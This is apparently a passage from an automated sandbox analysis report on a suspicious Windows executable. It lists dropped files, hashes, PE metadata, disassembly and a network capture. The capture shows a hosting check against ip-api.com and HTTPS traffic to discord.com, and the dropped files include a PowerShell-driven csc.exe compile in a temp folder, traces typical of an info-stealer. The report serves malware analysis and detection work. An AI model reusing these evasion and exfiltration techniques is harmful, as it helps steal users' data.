Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.0.cs"

C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.154588496996072
Encrypted:	false
SSDEEP:	48:6i7oEAtf0KhzBU/7f6mtJQN0BpW1ulVa3Jq:iNz0emoOBXK
MD5:	AC10229EEE2013E39C1F19B3CD433E97
SHA1:	86C8C1E86785652BBB1795FBBBE0F0F9CF4B30F1
SHA-256:	6E6D788355DBA5CB71110FDFE93B11AD12F552A91664208981BA836678695292
SHA-512:	204991AE3BA9E1AEB095DA1BA9DE7B4F27B4C28B4DEBFE970B402210B3876FBE48CB24003E01B72A227C532EADE78E441B0F382D3B671DC1E56B5A7460554386
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a6zg...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (720), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1159
Entropy (8bit):	5.4998803639954685
Encrypted:	false
SSDEEP:	24:KoNId3ka6KOkqeFkrvEvCKax5DqBVKVrdFAMBJTH:vNkka6NkqeFkrvEvCK2DcVKdBJj
MD5:	46089DB77D2615AD244A2DE94014A49D
SHA1:	133FAA07F61C613B29E43DCA0046CEEFB0F4B7EC
SHA-256:	93EF32D700F5D221A80F11670E53F3426CB59D4BF63F541768F4C4EE0948D633
SHA-512:	93B0096477CCB3229DCC03A3C2C1C4269E8CFCB9EA0584D8EE4DACD04A7329CD9CD46302D10A02306CE2DFF2C606642A35881BC458E44DA14E292D0308D0D070
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which i

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.99330670836274
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	X9g8L63QGs.exe
File size:	7'849'526 bytes
MD5:	17e85e39754db87356121c00e17d3096
SHA1:	ab01140ebc61d625989f842eb2db9bdc79c15444
SHA256:	006d680fdd592bcabb6ba965c61a82c2c97c1e30f5845984b5a5fb6b358316b4
SHA512:	40e90e9148f1442b9a74d6f31febf0aa6a9d1e7761e6b7d2b2f340f6ece456386ae5abd991ca5c09fd610e0947357f677ce24756e0b906a26be8dd74f2914a3a
SSDEEP:	196608:HsunqZzwfI9jUC2XMvH8zPjweaBpZ0cX2ooccXK7oSr:/BIH2XgHq+jq93Yoa
TLSH:	DC863349679244F4FA379A3DD1539A1AD3F338A50760DB9B03A8A2760D734F11C3EB62
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000ce20
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6755E76E [Sun Dec 8 18:37:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	29/09/2021 02:00:00 29/09/2024 01:59:59
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FC6C0D3E8BCh
dec eax
add esp, 28h
jmp 00007FC6C0D3E4DFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FC6C0D3EC88h
test eax, eax
je 00007FC6C0D3E683h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FC6C0D3E667h
dec eax
cmp ecx, eax
je 00007FC6C0D3E676h
xor eax, eax
dec eax
cmpxchg dword ptr [0003570Ch], ecx
jne 00007FC6C0D3E650h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FC6C0D3E659h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FC6C0D3E669h
mov byte ptr [000356F5h], 00000001h
call 00007FC6C0D3DDB5h
call 00007FC6C0D3F0A0h
test al, al
jne 00007FC6C0D3E666h
xor al, al
jmp 00007FC6C0D3E676h
call 00007FC6C0D4BBBFh
test al, al
jne 00007FC6C0D3E66Bh
xor ecx, ecx
call 00007FC6C0D3F0B0h
jmp 00007FC6C0D3E64Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000356BCh], 00000000h
mov ebx, ecx
jne 00007FC6C0D3E6C9h
cmp ecx, 01h
jnbe 00007FC6C0D3E6CCh
call 00007FC6C0D3EBFEh
test eax, eax
je 00007FC6C0D3E68Ah
test ebx, ebx
jne 00007FC6C0D3E686h
dec eax
lea ecx, dword ptr [000356A6h]
call 00007FC6C0D4B9B2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca34	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x940	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2238	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x77a1ee	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f70	0x2a000	b8c3814c5fb0b18492ad4ec2ffe0830a	False	0.5518740699404762	data	6.489205819736506	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a28	0x12c00	f3bd08fa9607253f10f39407aac39507	False	0.5243229166666666	data	5.750755153198856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2238	0x2400	9cd1eac931545f28ab09329f8bfce843	False	0.4697265625	data	5.2645170849678795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x940	0xa00	8b1cef7be850248ceacb32298558d9c9	False	0.426953125	data	5.114581456168053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x470a0	0x390	data			0.4594298245614035
RT_MANIFEST	0x47430	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 07:19:15.192972898 CET	49708	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:15.197830915 CET	80	49708	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:15.197915077 CET	49708	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:15.198021889 CET	49708	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:15.202716112 CET	80	49708	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:15.674098015 CET	80	49708	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:15.674797058 CET	49708	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:15.679802895 CET	80	49708	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:15.680094957 CET	49708	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:49.498275995 CET	49908	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:49.503139019 CET	80	49908	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:49.505737066 CET	49908	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:49.507232904 CET	49908	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:49.511996984 CET	80	49908	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:50.009412050 CET	80	49908	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:50.061692953 CET	49908	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:50.220665932 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.220704079 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.220879078 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.244915962 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.244935036 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.703036070 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.703512907 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.703526974 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.704608917 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.704879045 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.706017017 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.706077099 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.706325054 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.706336975 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.706402063 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.706437111 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.707968950 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.707993031 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.708193064 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.708219051 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.711785078 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.711800098 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.711813927 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.711829901 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712017059 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712023020 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712033987 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712042093 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712054968 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712064981 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712112904 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712121964 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712130070 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712137938 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712152958 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712172031 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712202072 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712209940 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712223053 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712233067 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712244034 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712255955 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712271929 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712277889 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712290049 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712301970 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712313890 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712328911 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712338924 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712347031 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712372065 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712383032 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712421894 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712434053 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712459087 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712490082 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712498903 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.712511063 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712537050 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712544918 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712605953 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712666988 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712680101 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712692022 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712753057 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.712768078 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718178034 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.718372107 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718380928 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.718391895 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718422890 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718436003 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718473911 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718498945 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.718545914 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718554974 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:50.718568087 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718575954 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718592882 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718601942 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718667030 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718681097 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718693972 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718770981 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.718907118 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:50.721143961 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:51.368621111 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:51.368705034 CET	443	49913	162.159.137.232	192.168.2.7
Jan 5, 2025 07:19:51.368758917 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:51.369402885 CET	49913	443	192.168.2.7	162.159.137.232
Jan 5, 2025 07:19:51.606484890 CET	49908	80	192.168.2.7	208.95.112.1
Jan 5, 2025 07:19:51.611466885 CET	80	49908	208.95.112.1	192.168.2.7
Jan 5, 2025 07:19:51.611561060 CET	49908	80	192.168.2.7	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 07:19:12.238410950 CET	58039	53	192.168.2.7	1.1.1.1
Jan 5, 2025 07:19:12.247627020 CET	53	58039	1.1.1.1	192.168.2.7
Jan 5, 2025 07:19:15.183485985 CET	58925	53	192.168.2.7	1.1.1.1
Jan 5, 2025 07:19:15.190296888 CET	53	58925	1.1.1.1	192.168.2.7
Jan 5, 2025 07:19:49.488965034 CET	52318	53	192.168.2.7	1.1.1.1
Jan 5, 2025 07:19:49.495897055 CET	53	52318	1.1.1.1	192.168.2.7
Jan 5, 2025 07:19:50.213215113 CET	61888	53	192.168.2.7	1.1.1.1
Jan 5, 2025 07:19:50.219778061 CET	53	61888	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 07:19:12.238410950 CET	192.168.2.7	1.1.1.1	0xa512	Standard query (0)	blank-ivnd9.in	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:15.183485985 CET	192.168.2.7	1.1.1.1	0x9241	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:49.488965034 CET	192.168.2.7	1.1.1.1	0xf7e5	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:50.213215113 CET	192.168.2.7	1.1.1.1	0xd047	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 07:19:12.247627020 CET	1.1.1.1	192.168.2.7	0xa512	Name error (3)	blank-ivnd9.in	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:15.190296888 CET	1.1.1.1	192.168.2.7	0x9241	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:49.495897055 CET	1.1.1.1	192.168.2.7	0xf7e5	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:50.219778061 CET	1.1.1.1	192.168.2.7	0xd047	No error (0)	discord.com		162.159.137.232	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:50.219778061 CET	1.1.1.1	192.168.2.7	0xd047	No error (0)	discord.com		162.159.128.233	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:50.219778061 CET	1.1.1.1	192.168.2.7	0xd047	No error (0)	discord.com		162.159.135.232	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:50.219778061 CET	1.1.1.1	192.168.2.7	0xd047	No error (0)	discord.com		162.159.138.232	A (IP address)	IN (0x0001)	false
Jan 5, 2025 07:19:50.219778061 CET	1.1.1.1	192.168.2.7	0xd047	No error (0)	discord.com		162.159.136.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49708	208.95.112.1	80	3800	C:\Users\user\Desktop\X9g8L63QGs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 07:19:15.198021889 CET	117	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Jan 5, 2025 07:19:15.674098015 CET	175	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 06:19:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49908	208.95.112.1	80	3800	C:\Users\user\Desktop\X9g8L63QGs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 07:19:49.507232904 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
